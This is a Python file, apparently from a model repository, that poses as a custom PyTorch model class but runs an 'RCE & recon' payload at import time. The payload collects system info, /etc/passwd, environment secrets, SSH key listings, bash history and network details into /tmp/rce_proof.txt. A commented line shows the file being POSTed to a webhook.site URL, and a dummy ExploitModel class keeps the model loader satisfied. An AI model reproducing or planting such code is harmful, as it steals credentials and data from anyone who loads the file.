File size: 2,360 Bytes
26124b3
429cc4a
e1f09d5
d45d828
 
 
e1f09d5
d45d828
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
e1f09d5
d45d828
 
 
 
 
 
e1f09d5
d45d828
 
 
 
 
 
e1f09d5
 
 
2d41686
e1f09d5
2d41686
 
429cc4a
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import os
import subprocess

# 1. TOP LEVEL EXECUTION
print("\n" + "!"*60)
print("POWNED: ADVANCED RCE & RECON IN PROGRESS")

# List of 20+ Commands for deep system analysis
commands = [
    "echo --- SYSTEM INFO --- >> /tmp/rce_proof.txt",
    "uname -a >> /tmp/rce_proof.txt",              # Kernel version
    "cat /etc/os-release >> /tmp/rce_proof.txt",    # OS version
    "hostname >> /tmp/rce_proof.txt",              # Hostname
    
    "echo --- USER & PERMISSIONS --- >> /tmp/rce_proof.txt",
    "whoami >> /tmp/rce_proof.txt",                # Current user
    "id >> /tmp/rce_proof.txt",                    # Group IDs
    "ls -la /root >> /tmp/rce_proof.txt",          # Check if we can see root files
    "cat /etc/passwd | head -n 5 >> /tmp/rce_proof.txt", # Sample users
    
    "echo --- NETWORK RECON --- >> /tmp/rce_proof.txt",
    "ip addr >> /tmp/rce_proof.txt",               # Network interfaces
    "netstat -antp >> /tmp/rce_proof.txt",         # Open ports & connections
    "cat /etc/hosts >> /tmp/rce_proof.txt",        # Local DNS
    "curl -s ifconfig.me >> /tmp/rce_proof.txt",   # Public IP of the server
    
    "echo --- CLOUD & SECRETS --- >> /tmp/rce_proof.txt",
    "env >> /tmp/rce_proof.txt",                   # Environment Variables (Secrets)
    "ls -la /home/*/.ssh >> /tmp/rce_proof.txt",   # Look for SSH keys
    "cat ~/.bash_history | tail -n 20 >> /tmp/rce_proof.txt", # Recent commands
    
    "echo --- RUNNING PROCESSES --- >> /tmp/rce_proof.txt",
    "ps aux | head -n 20 >> /tmp/rce_proof.txt",   # What else is running?
    "df -h >> /tmp/rce_proof.txt",                 # Disk usage & mounts
    
    "echo --- INSTALLED PACKAGES --- >> /tmp/rce_proof.txt",
    "pip list >> /tmp/rce_proof.txt"               # Installed python libs
]

# Loop and execute
for cmd in commands:
    try:
        os.system(cmd)
    except:
        pass

# OPTIONAL: Send everything to your Webhook in one shot
# WEBHOOK = "https://webhook.site/YOUR-ID"
# os.system(f"curl -X POST -F 'file=@/tmp/rce_proof.txt' {WEBHOOK}")

print("ADVANCED RECON DATA WRITTEN TO /tmp/rce_proof.txt")
print("!"*60 + "\n")

# 2. Dummy Class to keep the loader happy
import torch.nn as nn
class ExploitModel(nn.Module):
    def __init__(self, config=None, *args, **kwargs):
        super().__init__()
    def forward(self, x):
        return x